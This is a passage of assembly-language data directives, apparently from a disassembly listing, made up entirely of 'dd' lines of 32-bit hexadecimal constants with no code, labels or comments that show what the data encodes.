		dd 0AC9F59AFh, 0A57ED0E9h, 6B2047BFh, 4F76A15Eh, 1D94F7FDh
		dd 6AB1FBE1h, 2028F90Dh, 0C66C2ABBh, 0C1E276B6h, 0CC56C20Fh
		dd 38523CCFh, 5C6989A2h, 0E8F9C4F0h, 0C7D8841Ch, 53B3EF94h
		dd 840A520Ch, 17CC80h, 53078DC5h, 8992F742h, 7C0C19DAh
		dd 26D69B76h, 9112C8D9h, 2AF4AAA3h, 2E8F00B3h, 273F69B1h
		dd 0A71E7C83h, 3378491Ah, 0FAD381ECh, 0C42126Ch, 9F91EBDEh
		dd 191F3B76h, 0C5EE11AEh, 0E2D84C30h, 43FD4A76h, 0AFF991CAh
		dd 1F2EB8F8h, 2931D3B7h, 85EB4D89h, 2D6C85B9h, 72C1BB90h
		dd 1C8DB91Fh, 40CF5C76h, 690DB4CAh, 0BD5419B1h,	0EC832BACh
		dd 0FADF7BE4h, 7C55D675h, 1FDA813Eh, 7734CC9Eh,	0EC270B1Ah
		dd 6D0599Dh, 89D6DAC0h,	80D5E22Ch, 8A8874C4h, 0EF1E7A6Dh
		dd 0E1A205F3h, 0F501C27h, 2543F9A2h, 51FB84C3h,	10E6AD16h
		dd 3402B54Dh, 0E0A9FBBDh, 231A5B8Bh, 75CE3EFEh,	8DC00293h
		dd 489E58A1h, 614A8DB2h, 78948966h, 1E1BC68Ah, 3DD1E873h
		dd 8F027BAFh, 0FF7DC036h, 0D047972Ch, 3A83EA14h, 22DF1A28h
		dd 617C5035h, 965F7E6Dh, 6AE1C129h, 8CD1E6B8h, 97D30532h
		dd 7FF06D68h, 0C0B83BFBh, 0E8A4942Bh, 183E7BA5h, 88C7C42Ah
		dd 0F4A62FFAh, 3ABA33E8h, 7BC5711Bh, 0F85C6C63h, 8A90518Fh
		dd 0F721647Dh, 0FE9FFA9Eh, 0F7614CD8h, 0E35E1BF3h, 0F65C9604h
		dd 97603CDCh, 9968202Fh, 71507C05h, 4B9D0378h, 0B975CA13h
		dd 3121F4D3h, 0E08AD3ACh, 8623C550h, 0AA8E0C95h, 0E9086C9Ah
		dd 0B72E19BFh, 0BF476C00h, 42D7330Bh, 737D5936h, 0FF576E22h
		dd 0FC86113Ah, 0E24A1888h, 0ECDA8056h, 8B133A1Bh, 2958CA52h
		dd 27597F05h, 75CEC240h, 5C51000Fh, 707F094Fh, 72E1D4D6h
		dd 2E440791h, 0A9AB2C25h, 44A3B3D4h, 5B8D0BF9h,	59B09E76h
		dd 2436A33Bh, 0C2C1C98Fh, 288A3E89h, 0AB38AC9Ch, 1F71AF89h
		dd 27257454h, 8DAE776Ah, 0CB01A361h, 402D126Bh,	6F7E1228h
		dd 741B0345h, 3877D666h, 36205E54h, 1FB3B392h, 0D8764AB4h
		dd 72F386D3h, 84E81D8Dh, 0CCDB0736h, 4B94228Bh,	9D6A0ACFh
		dd 6FCB302Fh, 87A5E31h,	64CE42Ch, 0AA7737CDh, 0F1A34A71h
		dd 7A3F74C5h, 7FE2D03h,	0A0635D54h, 0F84CE80h, 38F74738h
		dd 0EE856EA0h, 0DAA6FACDh, 0ADB6BC22h, 0F471D513h, 0BB32C4B3h
		dd 4A3AC272h, 9A834D6Bh, 0D52E42BFh, 0B91D0758h, 0EACC1AD5h
		dd 464E4E13h, 0D5951E29h, 0D3ADA88Ah, 77667FF0h, 4FBF0FA8h
		dd 9E03D70Eh, 0DDF3799Dh, 83D925C3h, 8C132313h,	0F3C1BB34h
		dd 1F53D9C9h, 9ECDD6ABh, 0CB090CA1h, 3FE27913h,	0E66F95C2h
		dd 4550AF5Dh, 0A02B0048h, 32D83A41h, 0D82E81Dh,	0D2DAD2DCh
		dd 3A6A4A6Eh, 0CA72B04Ah, 366DC3AFh, 3C9E416Bh,	498DB0C5h
		dd 11302575h, 9AABADAFh, 0EFF38ACAh, 1D99FED9h,	0C02508B5h
		dd 9E086717h, 430D61B9h, 0F6DED0DCh, 4DA1F41Bh,	0FDFAFBBAh
		dd 0F1369308h, 74F809DBh, 0A2772137h, 354C046Eh, 9BC7C3ADh
		dd 0B5CD5105h, 266AABE6h, 90185356h, 0C9319AAEh, 60531A91h
		dd 43230C81h, 6D9F19C6h, 89929DE0h, 0B1C8A9F2h,	79CFBDFEh
		dd 7E23B356h, 2A3867E8h, 331420FAh, 2E6DD374h, 271BF391h
		dd 8A0E79A9h, 6E3C3274h, 2EA75ED4h, 5D66E3D4h, 6B88A5B3h
		dd 0DE460956h, 49827E8h, 1A584F7Bh, 0C8CB01E4h,	2BAC9B82h
		dd 0B0716342h, 74D0A65Ch, 0DAFC04F7h, 0B46A7A43h, 832F2AA5h
		dd 244BEA0Ch, 0C2765FD2h, 48561B45h, 823B98A9h,	3BEB99E1h
		dd 0B9AB5809h, 617B0170h, 23858BCEh, 0A1506A68h, 0DB602E86h
		dd 0AC16A587h, 9B5B316Ch, 0ABA507D3h, 4CE39F34h, 793E5F1Bh
		dd 5EA461D5h, 0B60B8E2Ch, 0D1177E62h, 0C021B662h, 1A829DC1h
		dd 0C70CACD4h, 0F9E84103h
		dd 9B87BBCDh, 1147174Bh, 53687A62h, 0B1B983C0h,	936A99D7h
		dd 7D9AE2B2h, 0C4B97552h, 0DCF8E075h, 0E4D2C7B1h, 6E8E250Eh
		dd 56F3CB0h, 8A90FF5Eh,	0EC572FD0h, 0B9B94870h,	0CA1F62F3h
		dd 76EB48DEh, 0DAA7AB1Eh, 79648CD2h, 0E9428C93h, 6CFF7C67h
		dd 833C7E86h, 0A40A7E5Eh, 0A7EEFA6Fh, 0C704419Fh, 0A2840661h
		dd 2A2219BCh, 9CCD6D6Eh, 0C4EA9B2Dh, 0FB3A8277h, 0BE01304h
		dd 0ECB0A15Ch, 2D41659h, 0A198F30Dh, 92E37D74h,	1FD03913h
		dd 5F0B1AB0h, 41DFCC52h, 7D34031Bh, 1D0D7E9Ah, 652A62BCh
		dd 13B921C2h, 0E9C5FA5Ch, 66576403h, 0CEC1AA32h, 0BCB31AD1h
		dd 0A182FFE2h, 3D74736h, 1B3662F2h, 3928422Eh, 94D6A4CBh
		dd 4AC2E788h, 60CA1196h, 29B06985h, 0A2F87457h,	0B485F461h
		dd 2D58BB50h, 1139266Eh, 3D490A4Fh, 9D394BA8h, 7DB6C335h
		dd 0C201D18Dh, 0C7C95B2Eh, 9276642Ch, 4EBA099h,	0EB48751Eh
		dd 0C3309A35h, 0EAF03FB6h, 56DCA04Eh, 0D3664CF9h, 26231EBh
		dd 0C5D16732h, 0DD1EBEDh, 0E5F00CCAh, 77FCE000h, 0BEE3CE90h
		dd 294D3F26h, 76570179h, 25C4875Fh, 0A52841FFh,	0C06A4B11h
		dd 0CCFBB4DFh, 2120A9E3h, 5A7E42A6h, 22FACCE1h,	0E6E6A8E2h
		dd 97D47B48h, 4680140h,	0D3874273h, 2E00210Ah, 76BC003h
		dd 315651EFh, 0C101C981h, 5B61C56Fh, 8FEEA4DEh,	8C9345BBh
		dd 6BFDD9A8h, 45A890C3h, 3504A64Ah, 75365208h, 5A1EC9A9h
		dd 0E9C3743Fh, 0CC52ED97h, 80D82EBFh, 0F947A145h, 0B0E2426h
		dd 0ECF0EB32h, 1A95DC8Ah, 0DA9622D4h, 32BE858Fh, 170200AAh
		dd 27CFD71Dh, 1B298E1h,	12306BC8h, 91FA22BEh, 4A3D1166h
		dd 6B79979Ch, 0DF08E61h, 0F00F450Bh, 9A2CC051h,	67CFE77h
		dd 9225A72Ah, 0AE52E6CAh, 0A8225044h, 5400156Ah, 81A48F6Dh
		dd 98DF24Eh, 6FE7FC31h,	33157D3Bh, 25F866B8h, 4169A784h
		dd 0C0424D54h, 7874912Ah, 4DD2A29Dh, 0B017E844h, 0CCBD93B2h
		dd 0E7E669CCh, 0F70B8928h, 6AFBF2Bh, 79E6411Dh,	0BA8DFA43h
		dd 0EC1F1C38h, 660FF8B2h, 8440D64Eh, 37C31B00h,	7C6C89B3h
		dd 3FFD3183h, 0F95442B9h, 0A6B6BAAh, 743C90Ah, 0D1D2CCFFh
		dd 0C837B39h, 0E4CBEA8Ch, 0A356B4Ah, 69961D11h,	0E9C089B6h
		dd 4153A85h, 7F669A8Eh,	0D9DEF844h, 0A07176EFh,	3AB2EC2h
		dd 5F8782A3h, 0E3524FDEh, 389DD922h, 47209AA6h,	7A2CE945h
		dd 662F6DE1h, 0FE2E6275h, 0A689F766h, 30FD88BFh, 0FAEE5845h
		dd 6A07421h, 0DEF83663h, 0FD14F75h, 387AE022h, 0A913A216h
		dd 0E145819Ch, 0C478B141h, 5F166D5Bh, 2BF84232h, 6B9173B7h
		dd 0F4A68A11h, 30A41E09h, 0C14DDCCh, 0EC840902h, 0DFAC54A8h
		dd 0A5B97945h, 98915BB8h, 29787988h, 0DEDFD265h, 0A9F88B52h
		dd 760299DCh, 0A61CCF3Ch, 0A72DE8F3h, 6141EC50h, 0D720A4BAh
		dd 3D9F6416h, 0D8A768F3h, 0A1502D52h, 0D89ACCE9h, 67B00256h
		dd 2B1CFBCAh, 9CDEF45h,	39B2A8D0h, 36612DD7h, 19FB044Bh
		dd 0CE14BCF4h, 737EA225h, 0A3D8F840h, 599A7185h, 0BCF3FA80h
		dd 0F97D8400h, 0AEB775AFh, 4FD3C310h, 2EAB8BACh, 6E904E00h
		dd 84AA9033h, 4739B585h, 4B9E580Eh, 0B42DB8FCh,	29010CBAh
		dd 287DD9AFh, 85FA5625h, 0F12EF288h, 0DB89B058h, 8FF5DFA3h
		dd 0DA858232h, 0D3A57765h, 1F9DA7CAh, 1DB8003h,	9028F509h
		dd 828FB833h, 0FCDACF75h, 0C175876Bh, 0DD0E213Bh, 285CBD3Ah
		dd 45ADF89Bh, 22137C69h, 6BE9B7A4h, 43C2306h, 0E74E2510h
		dd 0E0105A42h, 486F684Dh, 0A46809D5h, 0E10D8DA8h, 0DC1F726Eh
		dd 61BCCDF8h, 4B175CCEh, 75AAC137h, 0D02FD12h, 7422976Fh
		dd 8AEF5592h, 5520E6C4h, 0E8221C35h, 36E720E3h,	2E16D29h
		dd 877610A0h, 7D6A76CDh, 0B508BED4h, 0BB85F92Dh, 767CE94h
		dd 718D4573h, 0FC0920DDh, 0F2783409h, 0AAA86F64h, 260AB318h
		dd 0E150F0DAh, 27A44895h, 490B93EAh, 0AE70DDC2h, 4D3981D7h
		dd 2426B9E8h, 0B0CAAAA4h, 2FE0DC9Ch, 381139C6h,	2E2A8DAAh
		dd 849F60EAh, 0F35DB048h, 0F0ACCC4Fh, 0E962A90Ch, 0FE253B9Bh
		dd 89A0215Fh, 67F004BCh, 0C175B6F3h, 0A5F1CD9Ah, 1D7F1B9Ch
		dd 1FD0B251h, 0E17D6622h, 40EB6D4Ch, 2F9C7844h,	0F5A0C755h
		dd 1CCC21EAh, 0A04DAC0Ah, 5B629AA4h, 26ABAE8Bh,	0B8469851h
		dd 8ED69C9Eh, 0EB2413Fh, 0F5AD68FFh, 18D62A30h,	603F2E0Dh
		dd 4285E66Dh, 53B696FEh, 0A2A959CDh, 3B0F18B9h,	19E05A44h
		dd 52BC9E13h, 8084901Bh, 0E7840FF2h, 93122B64h,	94E2060Fh
		dd 43DF2337h, 41935AFBh, 0D5CCE1E7h, 0E37C5371h, 0C406B90Eh
		dd 0A7616671h, 2A86F8D8h, 5CA2C455h, 6D8A3849h,	5C1FC791h
		dd 8CE1A36Ah, 0AA593584h, 8F418B39h, 19B3CADBh,	0E83CA603h
		dd 0D76BA35Bh, 0B06D3EC2h, 4EC9CA85h, 97BDC3B6h, 4CBC8B39h
		dd 296F95E5h, 4CEACB24h, 0DB927B55h, 953E0E4Dh,	165DFBBBh
		dd 9C336FDAh, 0B8580551h, 56A9D08Bh, 4C8936EDh,	72C3FF5Dh
		dd 32E2978Fh, 8373E573h, 9EFE196Dh, 5F20F94Ah, 97DB6DC2h
		dd 7A500F93h, 95B8E007h, 6028A1B1h, 57F4B499h, 938B536Ah
		dd 81D1DB1Dh, 7A774048h, 3418F23Ah, 4F31AE55h, 0CEB999E6h
		dd 7704D09h, 0A0993060h, 6FFBFD38h, 5C0CB8D1h, 8EFA8D98h
		dd 7EB5488Ch, 78137645h, 60188E44h, 30A33C25h, 9A3837CDh
		dd 2487B4B3h, 5501DC26h, 0DD0B7F7Ah, 0E0CFE508h, 32FF0C28h
		dd 3BB70872h, 6C6D0C16h, 22764E26h, 7593D16Eh, 95336493h
		dd 98178348h, 88BC2CECh, 351E6708h, 0AF1496F0h,	8BEB5884h
		dd 0FB0FAD10h, 0F285732Ah, 601CC939h, 586FA349h, 34F7DA23h
		dd 0A024D9ECh, 64DA4BCEh, 9193737Ah, 9E53924Ah,	0AF03DF08h
		dd 0F454CFF2h, 6513A9E1h, 7B8ADC9Ah, 0ABB80AA5h, 3AF59F65h
		dd 0B28ED196h, 576002A5h, 785964C7h, 6EE27E8Bh,	2D5550E1h
		dd 0A83ED27Ch, 0DD2D4EEh, 4E8CA5E9h, 1861FBF0h,	26B77D8h
		dd 6F87A9EFh, 0C2652211h, 13E1D9F3h, 0B7AA40F1h, 0EE97853Ah
		dd 30ABE951h, 18B5B961h, 27EFAF70h, 0E9E6E44h, 87EED128h
		dd 890C38E7h, 0FF08AA94h, 0C52B5BE5h, 0A4183DC6h, 3ABD0F2h
		dd 976B3653h, 0B698F740h, 0D4A9D34h, 0FC71AE2Ah, 67B2DCA9h
		dd 27D6D8CAh, 0D8573BB5h, 0B3DCB315h, 649A007Dh, 64CACD3Bh
		dd 3D28377Bh, 0A844AA3h, 1768AD08h, 26E01BF9h, 0AAF38916h
		dd 8D9B084Fh, 112C7115h, 57DFC6E6h, 0FECBF82Eh,	0BBC0B898h
		dd 0A395C3FDh, 0C9D78D42h, 0A36EC6FCh, 37BA9455h, 13B73A40h
		dd 0D81F508Fh, 0AD60D140h, 0A7A298C5h, 0F26613ADh, 6AED21F3h
		dd 0E1106A5Bh, 0B58AB746h, 0DD61EDEAh, 0F5DCF4B9h, 0DE7F606Fh
		dd 0A28611ABh, 4D7CF339h, 6A4D99AFh, 102E181Fh,	9CA2A214h
		dd 0C128E738h, 0D305C6B1h, 0E5580EAh, 0D5D2CBD4h, 498506FCh
		dd 717D0B2Dh, 8AE310D2h, 6A762FCh, 0D4636E0Dh, 108AAB41h
		dd 2291EAA1h, 12EEB437h, 3FD34E8Eh, 0CDCD3693h,	8BE6C43Bh
		dd 7C8EFB05h, 9C15A0A0h, 2748EF6h, 0B3FE2E20h, 0A8C8F2A4h
		dd 0FB9202D0h, 0E3EE0B7Dh, 3C5C4E3Dh, 80060ACFh, 29E28E45h
		dd 194D32D9h, 5BB36A3Fh, 350D831Bh, 0A9EAAA83h,	0E3A2888h
		dd 33D729EAh, 86B71E7Fh, 6D5D8C45h, 0E0035F46h,	0A32DAA02h
		dd 0D643AA98h, 8DEB8594h, 2DFCE8ADh, 64A4994Fh,	0C2369694h
		dd 5C40E13Ch, 39C55F67h, 37B6974h, 7DA6A0Ah, 0AAB8C8BBh
		dd 9F02AC89h, 0E3D2F8Fh, 9989BB95h, 78BC4783h, 0FAEEBC31h
		dd 66F34F62h, 9585AFE5h
		dd 8AD4E5F2h, 68A10535h, 93470ECEh, 6D55B7C8h, 2D3C9584h
		dd 86D76859h, 0A1DA3BB8h, 9E9AA176h, 30967835h,	0FD8CE1C4h
		dd 0DCC96938h, 84A87A57h, 0B4A51671h, 3DA96538h, 9ACA6A2Ah
		dd 0D0F0D19Bh, 2C70ACAAh, 0DAD9A132h, 29E4C2h, 0ACAAAB31h
		dd 0F6BAB7BEh, 2D12132h, 0EF4DAA49h, 57E5EB11h,	248A700Eh
		dd 0B25690D0h, 323BC37Eh, 8CB08145h, 91AB5A90h,	70264824h
		dd 9355FBDFh, 2D9C5972h, 83186099h, 251D0C2Dh, 2FE40485h
		dd 37D39728h, 3B28BA08h, 5A18489Dh, 0ACBE5FAAh,	0B3D89E51h
		dd 0EBF0D1EAh, 56444C8Eh, 596AFAD8h, 0B1914518h, 0C24A687Ah
		dd 0B2167351h, 3AFF17ACh, 3A77EF20h, 90315B5Ah,	3B53CADEh
		dd 9CF6199Fh, 2B80D638h, 0D3E3654Ah, 0D316A33Fh, 0ED8AACB2h
		dd 6986EC7Dh, 0D7842BB8h, 0EB6777F4h, 0EF8A676Dh, 3E72167h
		dd 68787EDFh, 226B8AF3h, 1396B276h, 0C5AB861h, 5AA3BC45h
		dd 0C0E7C270h, 9D8F01F4h, 35C74595h, 0E68B7402h, 266CC37Dh
		dd 4D6D0AABh, 75B240C0h, 0CD3B4438h, 3CC481B7h,	0A173BFD9h
		dd 0D756FF59h, 5EA42605h, 5B72A310h, 0EEB9945Fh, 1F431049h
		dd 11DBDA1Ah, 8A06D6A6h, 4BE2724Eh, 4D32F1E1h, 4A90662Eh
		dd 536BAD68h, 0C6BFEE46h, 0EB61CE79h, 52EEB92Dh, 47C08277h
		dd 8A1FAD33h, 810DCE43h, 0BF66F998h, 64D5CCBBh,	3F8E1117h
		dd 0DF844982h, 0F5E3110Ah, 112748ABh, 2B0DB5EFh, 297F478Ah
		dd 0E1AECB7Eh, 0C3680889h, 3C05521Ah, 0CD247088h, 15BEE560h
		dd 8731D5D4h, 0B87C784Eh, 0DE7558D5h, 0E5CF1536h, 7DC8B0F5h
		dd 0C65056A9h, 8D60BE1Ah, 77F6EB6Bh, 0A9A104DDh, 65F3D053h
		dd 0DDD80E48h, 61E0D5C3h, 0ED325784h, 17D34068h, 3E530D2Ch
		dd 0A0578BE9h, 0DB4705CEh, 0DFB442Fh, 52F90945h, 0F72FB72Fh
		dd 0C4F8D8D0h, 6CFB0A15h, 0DE73003Eh, 5E55E3D6h, 999D53E7h
		dd 311A3F17h, 689A3158h, 0B72A32D4h, 26D0E7A6h,	0DB0588CEh
		dd 86B80301h, 2DA9FB5Fh, 0FD2590E9h, 0F0D177D0h, 0CB776EA0h
		dd 39B3DF15h, 0A08DC3F5h, 0AF9B7610h, 2AA4B138h, 655F32EDh
		dd 0CD1F07C0h, 0F743B3E7h, 0C33B2300h, 787ECE39h, 0B6B46851h
		dd 0C5A397D8h, 874EA341h, 610C25F1h, 0CFA00AC8h, 0DDAD92CCh
		dd 0A23BFB9Dh, 3072B919h, 0DA161F6Eh, 0C536F586h, 0FE3E1113h
		dd 0DB6F1517h, 7D7E8EB3h, 5CB976CFh, 9049B0FCh,	4D4E06B4h
		dd 9A61468Dh, 3C19B014h, 65E5C2E3h, 508DF7A2h, 0F169C4D4h
		dd 407E8262h, 91EDEBDBh, 69E10F66h, 65F66071h, 915F0D35h
		dd 583BD30Ch, 7C540EE4h, 5347DA02h, 0DFDEE5A7h,	1835B14Bh
		dd 0B7D2D250h, 3804E25Dh, 55C2FFC2h, 77100355h,	70A4BF52h
		dd 0D681345Fh, 7168B178h, 3F3A5443h, 9A4ADC4Ch,	2B35F73Ah
		dd 70568D8h, 138114C8h,	61FFAFC3h, 0EC894265h, 0A04C222Ch
		dd 8CA3947Ch, 0E3589476h, 0D8373D69h, 9CD735BEh, 0B41B8FB6h
		dd 0BA4906B9h, 5C945221h, 0F120A45Ah, 6A951D8Fh, 0D2FB82FDh
		dd 4F067BD0h, 0CD00FEF6h, 0E9D7A55Ch, 8BF81487h, 7D96BE76h
		dd 4B36AD56h, 213CF32h,	6915F9A5h, 0B9291421h, 0E299D9FBh
		dd 1E2FF72Ch, 81102BD6h, 0E527F6FDh, 69B5B918h,	53863CFFh
		dd 7BA0D1B0h, 6A44223Fh, 5AA29A13h, 0C758E976h,	11AD7A5Ah
		dd 2F14BD67h, 0AA947B16h, 5A62A954h, 31AC7679h,	0D8918BDBh
		dd 0DBF300A8h, 0C87BEB91h, 1FCD12E8h, 0B53051C5h, 292CA4E1h
		dd 1157DFB4h, 8E7936E8h, 968C1B7Dh, 0DBFBBB69h,	570EEFADh
		dd 0D56B2AB7h, 0B3AA4762h, 0E56A00F4h, 3ECE43B5h, 9FC8E085h
		dd 0B24DABCh, 0A6F2DD0h, 57BF02F2h, 0EA218778h,	6B25A7C8h
		dd 254A52F5h, 0A93AFD37h, 0ABAA1368h, 0A012E22Fh, 57ABC476h
		dd 3B1F849h, 6CAAE32Ch,	0F1AC2F4h, 6E478420h, 27692F05h
		dd 41791A9Dh, 1E2EC110h, 80BAAF17h, 1272A72Bh, 709205E9h
		dd 0C5415D57h, 7EDCE738h, 439559BFh, 5FD30EF7h,	7A5648EAh
		dd 0F6F9DE65h, 166AE7F2h, 23403CFDh, 2A5B6785h,	0B022B651h
		dd 7C8445D6h, 889A4B1Ah, 0B9BDBE4Bh, 0D4F4E88Eh, 337272B2h
		dd 82390D6Eh, 0DF4D7666h, 0E89356h, 3D0C8CD4h, 0F4FDE94Ch
		dd 0C9FAD958h, 3ED9C797h, 0D98CC6DCh, 5E83E7ABh, 2E3C67Ch
		dd 0BCD74DBBh, 16BC3183h, 0BC029831h, 0D4E949DCh, 62009CBAh
		dd 40C818ACh, 0EE7B5DDAh, 24DCE485h, 359A0D79h,	740AAD1Ah
		dd 0B121EA50h, 5A73C13h, 0D8014691h, 548A9E45h,	5FC5FA4h
		dd 0D446F6C8h, 9862C1CEh, 88329A09h, 8413C899h,	7F3EF3DBh
		dd 64F4631Dh, 0BAA528ABh, 8ED1FA32h, 56165B6Eh,	0DA180AF0h
		dd 0B699DB1Ch, 0F330D1E9h, 9042C9E9h, 3874443h,	63A36981h
		dd 22C0D56Dh, 2F04994Bh, 0BDD679F5h, 7AD0F861h,	98FEBC84h
		dd 0FC9814EBh, 0FC76E5D3h, 78529019h, 0A54319Fh, 54C0751Fh
		dd 15BBAB58h, 4897958Dh, 0C9B3B6CBh, 44E2BAA7h,	0D27968CDh
		dd 67A96094h, 8AD5B35Eh, 4AC75330h, 0C4FA5F23h,	17A043B7h
		dd 7D293168h, 1259FD0Dh, 6DCC97h, 7BC71E41h, 0DF59169Ah
		dd 0B09CDF7Fh, 0A3BA2B47h, 0A8E82BE2h, 0E2D03D46h, 96F9AF6Dh
		dd 0E9F368CDh, 6A541EB6h, 791E83B3h, 47D2FC9Dh,	2B7C5FCBh
		dd 5B2C0D03h, 4167554h,	75047177h, 201ABD76h, 956F9B8Ch
		dd 833EB725h, 69D7D695h, 36D56FB8h, 97329C45h, 0FA2CBDACh
		dd 23D8DAD0h, 37A28BC5h, 0CA5D25DFh, 2EE446F6h,	1E3243E5h
		dd 9DBEB383h, 283ABD5Eh, 0FB6FC123h, 0DF33AE46h, 0EDE3CD78h
		dd 0ECF84F4Bh, 5E99FE75h, 60083C73h, 0A66129ECh, 6CF1EC6Ah
		dd 666A2B46h, 0D933D3FDh, 0D2CE6419h, 0D9D122DAh, 0E6CD0AE1h
		dd 0D265A804h, 5985BA3Fh, 0A9347B3Ah, 7A8A23D7h, 0BA2A1C59h
		dd 0F302B73Ch, 32F98DB1h, 0C89B7C75h, 0F69B8408h, 4C17B56h
		dd 0D7534383h, 0C6977AB3h, 0A9F086BFh, 0AADFC2B9h, 405F2AE0h
		dd 0E7FFA54Eh, 1BE9E99h, 40F0D67Ah, 0BDB6633Dh,	0A9368B30h
		dd 4352BDD5h, 6338981h,	8981A3Dh, 0A33BEBBAh, 7CA2A126h
		dd 6573C5ADh, 764E97AFh, 8F71BF56h, 2EB44F31h, 5E402B70h
		dd 761D0169h, 0BEC81A11h, 0D10BECB7h, 0F175DC33h, 89DB8E3Ch
		dd 0FFB29AE6h, 0EFC00C78h, 7B3CFB78h, 1AF91E35h, 36B06D75h
		dd 265A570Dh, 0C57FA77Ah, 0A02B04C7h, 0C3587C22h, 0E72E15C6h
		dd 0AFEAA66h, 7F84436Fh, 841CFADFh, 72A591A9h, 0B00C494h
		dd 202C37Ah, 0E4B5F71Ch, 247F47B4h, 345F4084h, 8E813068h
		dd 0B7F9AB6Ch, 3DC73D05h, 0FD1A8DB0h, 42DA6502h, 11AAD3F0h
		dd 7BEBEB9Ch, 0CA236954h, 97E9BBC3h, 0EA5173F3h, 4CA3DEDAh
		dd 0FB781C28h, 0E6CFE2B1h, 0AC9B3D26h, 4B9D60Ch, 0DEC141B5h
		dd 2E26353Ch, 3B73B752h, 4063FC06h, 0B96205E8h,	3BE41C13h
		dd 0F505ADD0h, 0F11E8089h, 7D970D07h, 765DEBEFh, 2ACF3C8Ch
		dd 0CDD98D61h, 126F89BCh, 0B704DDB6h, 1A1E5E90h, 0CAD3922Ch
		dd 4282DFB3h, 9B1B6088h, 35E54426h, 0F188C0F1h,	8A5FF1CCh
		dd 29413E97h, 8533A0DFh, 0C126E3C7h, 91D2B5F3h,	82C6FBB2h
		dd 54DDD8CEh, 0A67552E5h, 9ABA3F54h, 2A8217DEh,	0B552A11h
		dd 2F8FA112h, 0E4F9C383h, 919E2A3Ah, 21B1FD07h,	4588491Dh
		dd 0BC16BD5Ch, 4691985Bh, 32E757E1h, 0A575F13h,	5CB22567h
		dd 0C6DD8150h, 6957FE56h, 37FC5CF7h, 63831FDFh,	74EB1D2Fh
		dd 7045DE66h, 0B080430Fh, 0CC7B9AD5h, 84474CF2h, 0F8DCE40h
		dd 2ABF2FDh, 0BA100C8Ah, 2608CD63h, 2A2F8229h, 0BFC47167h
		dd 0FB24DDDh, 65A58D63h
		dd 1306F983h, 0BDB345CBh, 814CC6BBh, 0BA3A5A19h, 0DF15D0C8h
		dd 9AAC27D7h, 3B5E0394h, 62979C8Fh, 342E7C2Dh, 245B4606h
		dd 0B5B3A889h, 0B8484EBFh, 0DD959738h, 0FE7080EDh, 0B3782F85h
		dd 0E15A53CDh, 0AE6DEB61h, 0FDE35D87h, 192FAC17h, 0BFEDC5CDh
		dd 0ABF32AB1h, 6BD1C01Eh, 0AC991EEh, 0DAC443A8h, 0F003A812h
		dd 0D5BB856Bh, 0FE79DDF4h, 0DA0700DBh, 0E024DA9h, 0B03AD7E3h
		dd 0E72AE315h, 8C8D3263h, 0EDFB245Eh, 6443855Eh, 0FB61529Fh
		dd 0DFF26B3Eh, 0AA87FD4Dh, 5AFC4116h, 1BB762B6h, 51CDB883h
		dd 8001E565h, 9FF88FE1h, 3702FDD7h, 0BE382BF4h,	819AD47Fh
		dd 8FE9F9B0h, 0DD536FCh, 7B5C947Ch, 0C40AC037h,	164458FFh
		dd 0D3A72F8h, 0AD19530Eh, 2EE47F10h, 70E5C982h,	0AF5EDADh
		dd 86121381h, 1BC6BB97h, 78D0603Bh, 893F4539h, 0EAAE722Ah
		dd 0F3BF8D56h, 0E82098CEh, 0F2D1D015h, 23891114h, 0C6A0FD83h
		dd 9338EAD0h, 0DCE88EEFh, 6C2FDF92h, 0E49D52Eh,	0C291CA4Fh
		dd 0C8BCCA68h, 0A64DC921h, 95F390F9h, 5FDE3E2Bh, 303C692Bh
		dd 6EC8254Eh, 0DBEB8245h, 40B6D809h, 2A98A1FFh,	0AA666EC6h
		dd 0F3532658h, 4845F665h, 78BF746Ch, 39479624h,	836BDF34h
		dd 0B1F767B0h, 0DB28BF4Ah, 0A7EC774h, 83932945h, 77547501h
		dd 3051A496h, 0C63A44BAh, 600027E5h, 364A1ED5h,	0C6558552h
		dd 0DFDEB0Ah, 0E00E0746h, 0C62FA4A7h, 631F713Ch, 0B284FDACh
		dd 77D42558h, 6BBFB7D4h, 433B7A0Dh, 85F2C8B5h, 29BE7CB3h
		dd 0EAC1036Bh, 8D47AB05h, 2980B61Ah, 0B3C5093Ch, 7B6F824Ch
		dd 0FB4C1C94h, 0A3F0C8Bh, 2D9CC10h, 71C64811h, 983D5661h
		dd 9B20180Ah, 3821Dh, 3AFACAA3h, 78DA1299h, 2A001D2Ch
		dd 4701B5B3h, 28DD28EFh, 0B7D7EC18h, 6CBBBA52h,	71725841h
		dd 9FC66E74h, 0B6CA8F3h, 9487BCD0h, 116F1A2Eh, 1C5BC27Ah
		dd 0A288EE39h, 4D3F232Dh, 5309765Eh, 44A5D0CEh,	0BAF09EC0h
		dd 7C966D83h, 183C5329h, 8E76E0E1h, 49B8CDF6h, 0E5666706h
		dd 0AF0CC2D1h, 0F9A394EBh, 6BC5D58h, 2F24CF5Fh,	0B2C86354h
		dd 66C17CCDh, 0EEA50B44h, 0B4BFB167h, 618073CDh, 0AF0C831h
		dd 94E39908h, 0CE4F69DCh, 0B2536B11h, 9D76283Fh, 0F8AC3781h
		dd 1F876F77h, 0BCCC5C17h, 242E6783h, 0C3A04120h, 40AF669Bh
		dd 9316842h, 0B12B218Dh, 0F34AD064h, 0E8AD9528h, 624901CEh
		dd 28A10D9Fh, 0B21E28BEh, 89D933C7h, 6C0C8E0Ch,	0B55CC46Eh
		dd 0F26F07F7h, 76B9F004h, 8CAF1E0Dh, 0A308905h,	6192F066h
		dd 1D6FD7F0h, 236FADE7h, 8988FCEBh, 4302550Eh, 5063C5C4h
		dd 8A82C173h, 130B0483h, 0DEDF1439h, 77B39383h,	0E14AAFADh
		dd 416DCA43h, 0E6211DCFh, 76853C3Eh, 8419F7BCh,	0D68825EFh
		dd 0CA7FB8B8h, 0AEF8D81Ah, 0D9C79810h, 1DC102BDh, 347528CAh
		dd 81D0D17h, 7FF12C91h,	7EC502E3h, 0AF957C7Bh, 6593CEC0h
		dd 3DAB55F2h, 943D44Eh,	0EFBDADCAh, 4FD2802Eh, 2009E2D1h
		dd 19C4F0D4h, 0A840B88Bh, 4EE56C9Fh, 88E35CC7h,	54234E0Ah
		dd 0A1CAE4Eh, 190569A9h, 1E1FB264h, 0FE66E0E5h,	0A144B982h
		dd 188CD0F2h, 461E57AEh, 2CD1EA63h, 1F52B7F1h, 0BCDC97C9h
		dd 0FFF472DBh, 86E909B2h, 0A48FF260h, 7C152C0Dh, 6663AF5Bh
		dd 9213ED50h, 334B50B4h, 7546FA54h, 0C7B1BECBh,	0F0F98CFCh
